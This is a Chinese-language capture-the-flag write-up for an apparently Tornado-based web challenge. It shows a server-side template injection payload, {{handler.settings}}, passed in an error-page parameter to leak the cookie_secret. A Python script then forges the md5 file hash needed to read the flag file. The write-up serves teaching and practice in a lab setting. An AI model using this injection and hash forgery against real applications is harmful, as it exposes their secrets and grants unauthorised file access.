题目点开存在三个文件
/flag.txt提醒我们flag存在的位置flag in /fllllllllllllag
/welcome.txt提醒render,render({options}) 猜测存在模板注入
/hints.txt提醒md5(cookie_secret+md5(filename))
即先将filename
md5加密,再将cookie_secret
与md5加密后的filename
进行md5加密,目前我们需要知道的是filename
和cookie_secret
,猜测文件名为/fllllllllllag
,也就是说,只要知道cookie_secret
就行了。
访问文件的url中
要通过filehash进行访问
尝试访问/fllllllllllag,发现存在错误页面
页面存在msg,尝试
证实存在模板注入漏洞
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名:
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload:
/error?msg={{handler.settings}}
得到cookie_secret
5e454feb-3c1e-4920-ab21-fac30bd8bfc6
利用脚本构造
可利用在线网站进行编译
python在线网站
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '5e454feb-3c1e-4920-ab21-fac30bd8bfc6'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
构造payload
/file?filename=/fllllllllllllag&filehash=519e1f4f0e635af43559dca0f6c6f686
得到flag
Flag
flag{3f39aea39db345769397ae895edb9c70}